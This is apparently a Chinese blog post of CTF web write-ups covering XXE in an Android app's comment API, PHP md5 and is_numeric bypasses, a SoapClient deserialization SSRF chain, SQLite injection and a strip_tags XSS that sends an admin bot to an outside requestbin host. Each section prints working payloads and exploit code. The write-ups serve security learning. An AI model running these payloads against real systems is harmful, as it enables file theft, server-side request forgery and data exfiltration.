</script>
</body>
</html>

[FireshellCTF2020]Cars

XXE

是一个用 Kotlin 写的 APK,我们先来看看它的接口有哪些,刚好对应了三个 Activity

1
2
3
4
5
6
7
8
9
10
11
12
13
// apk/app/src/main/java/com/arconsultoria/cars/rest/Rest.kt
interface Rest {

@GET("/cars")
fun getCars(): Call<List<Car>>

@GET("/car/{id}")
fun getCar(@Path("id") id: Int): Call<Car>

@POST("/comment")
fun postComment(@Body comment: Comment): Call<CommentResponse>

}

/cars/car 接口只能查询信息,下面我们重点看一下 /comment 接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// apk/app/src/main/java/com/arconsultoria/cars/activity/CommentActivity.kt
fun send_comment() {
val retrofit = Retrofit.Builder()
.baseUrl(resources.getString(R.string.url_api))
.addConverterFactory(GsonConverterFactory.create())
.build()

val service = retrofit.create(Rest::class.java)
val comment = Comment(edt_name.text.toString(), edt_message.text.toString())
val call = service.postComment(comment)
call.enqueue(object : Callback<CommentResponse> {
override fun onFailure(call: Call<CommentResponse>, t: Throwable) {
Toast.makeText(baseContext, "Error posting comment!", Toast.LENGTH_LONG).show()
}

override fun onResponse(
call: Call<CommentResponse>,
response: Response<CommentResponse>
) {
if (response.code() != 200) {
Toast.makeText(baseContext, "Error posting comment!", Toast.LENGTH_LONG).show()
return
}

Toast.makeText(baseContext, response.body()?.message, Toast.LENGTH_LONG).show()
finish()
}
})
}

// apk/app/src/main/java/com/arconsultoria/cars/domain/Comment.kt
package com.arconsultoria.cars.domain

data class Comment(
var name: String,
var message: String
)

大致逻辑就是接受一个 name 和 message,利用 retrofit 调用 Rest 的接口进行 HTTP 应答,然后再显示一个成功信息

image-20200525205600302

可以看到我们的名字得到了回显,所以我们可以猜想一个有没有可能有 xxe,发现可以成功回显

image-20200525210033943

然后直接读 /flag 就好

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<Comment>
<name>&xxe;</name>
<message>hello</message>
</Comment>

[MRCTF2020]Ezpop

反序列化

进去后得到源码,需要我们构造反序列化pop链

1
2
3
<?php

?>

IP 伪造要一个个试

1
Client-Ip: 127.0.0.1

file_get_content 用 php://input 绕过

file 写个加密脚本就好

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function encode($re){
$c = '';
for($i=0;$i<strlen($re);$i++){
$c .= chr ( ord ($re[$i]) - $i*2 );
}
$v = base64_encode($c);
return $v;
}
echo encode('flag.php');

# ZmpdYSZmXGI=

最终 payload

1
2
3
4
5
6
GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI%3d HTTP/1.1
Host: 54df68eb-d79a-4927-ad56-ad94e5470714.node3.buuoj.cn
Client-Ip: 127.0.0.1
Content-Length: 20

todat is a happy day

[MRCTF2020]Ez_bypass

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

数据绕 md5 ,数字加字母绕过 is_numeric

1
2
3
4
5
6
POST /?gg[]=1&id[]=2 HTTP/1.1
Host: 3b3bfe4c-e6a9-4d8e-a886-7b741a51276a.node3.buuoj.cn
Content-Length: 15
Content-Type: application/x-www-form-urlencoded

passwd=1234567a

[MRCTF2020]Ezpop_Revenge

SoapClient ssrf

www.zip 源码泄露

查看 flag.php,需要 ssrf

1
2
3
4
5
6
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

查看 Plugin.php,可以看到存在反序列化操作

1
2
3
4
5
6
7
8
9
10
11
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}

激活的方法在 /page_admin

1
2
3
4
5
6
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

我们跟进这个奇怪的 class

1
2
3
4
5
6
7
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}

转到 /var/Typecho/Db.php,看到 $adapterName 进行了拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

搜索 __string() 方法,跳转到 /var/Tpecho/Db/Query.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

看到当 action 为 SELECT 时,会调用 $this->_adapter->parseSelect($this->_sqlPreBuild);,如果 $this->_adapter 没有 parseSelect 方法,就会触发 __call() 函数,这里就满足了 SoapClient 反序列化的条件

所以这里的 POP 链就是

  1. 反序列化 HelloWorld_DB 类触发 __wakeup() 方法
  2. Typecho_Db_Query 赋值给 coincidence['hello'],让其触发 __toString() 方法
  3. SELECT 赋值给 _sqlPreBuild['action'],让其触发 $this->_adapter->parseSelect($this->_sqlPreBuild)
  4. SoapCient 类赋值给 $this->_adapter,让其触发 __call() 方法

但是这里会有个坑,就是私有变量的 %00 是打不通的,我们可以选择用十六进制 \00 绕过,并且把字符串 s 标识符变成 S,这里参考颖奇师傅的 payload

https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

所以最终 payload 是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;

public function __construct() {
$this->_sqlPreBuild = array('action' => 'SELECT');

$url = "http://127.0.0.1/flag.php";
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=2ao5l5vohokfb6kooqkibfhnv1'
);
$this->_adapter = new SoapClient(null, array('uri' => 'hello', 'location' => $url, 'user_agent' =>
'kk^^'.join('^^', $headers)));
}
}

class HelloWorld_DB{
private $coincidence;

public function __construct() {
$this->coincidence = array('hello' => new Typecho_Db_Query());
}
}

function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

$xx = serialize(new HelloWorld_DB());
$xx = preg_replace("/\^\^/", "\r\n", $xx);
$xx = urlencode($xx);
$xx = preg_replace('/%00/', '%5c%30%30', $xx);
$xx = decorate(urldecode($xx));
var_dump($xx);
$xxx = base64_encode($xx);
echo $xxx;
?>

带上 PHPSESSID 和 admin 参数就可以看到 flag 了

image-20200523172231392

[Zer0pts2020]phpNantokaAdmin

Sqlite 注入

根据提示这是一个 Sqlite 数据库,相应的操作有创建表、插入值和删除表,那么有可能存在注入的是创建表和插入值,但是插入值那里似乎注不了,所以注入点应该在创建表那里

首先我们需要知道 Sqlite 的一些特性

当 Sqlite 进行 select 时,可以用[]'" 和 ` 来装饰列名,位于列名后面的字段被称为别名,如

image-20200523180454324

create table 时支持一种 as 的语法

image-20200523180711650

参数处有 32 长度的字符限制,所以我们不能进行常规的查表查字段,不过我们直接直接查询当前表的 sql 语句,还有过滤了一些标点符号,其中过滤了注释符 -- ,可以用 ; 进行闭合

查询当前表的数据操作

1
table_name=kk as select [sql][&columns[0][name]=1&columns[0][type]=]from sqlite_master;

image-20200523182143870

直接查值就好

1
table_name=kk as select [flag_2a2d04c3][&columns[0][name]=1&columns[0][type]=1]from flag_bf1811da;

image-20200523182310654``

[Zer0pts2020]musicblog

xss

首先搜一下 flag 在哪里

可以看到 admin 会对我们的文章进行点赞,所以我们可以尝试在文章中嵌入 #like 标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# /worker/worker.js
const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};

在文章渲染的地方它用到了 render_tags

1
2
3
4
# web/www/post.php
<div class="mt-3">
<?= render_tags($post['content']) ?>
</div>

跟进一下这个函数做了什么,就是只留下 <audio> 标签

1
2
3
4
5
6
# web/www/util.php
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}

但是 strip_tags 这个函数是存在漏洞的,参考

https://blog.spoock.com/2018/03/19/wrong-usage-of-filter-function/

所以我们可以利用漏洞构造一个 <a> 标签

1
<a/udio id=like href=http://http.requestbin.buuoj.cn/1c7z4dg1>xss</audio>

image-20200525110253009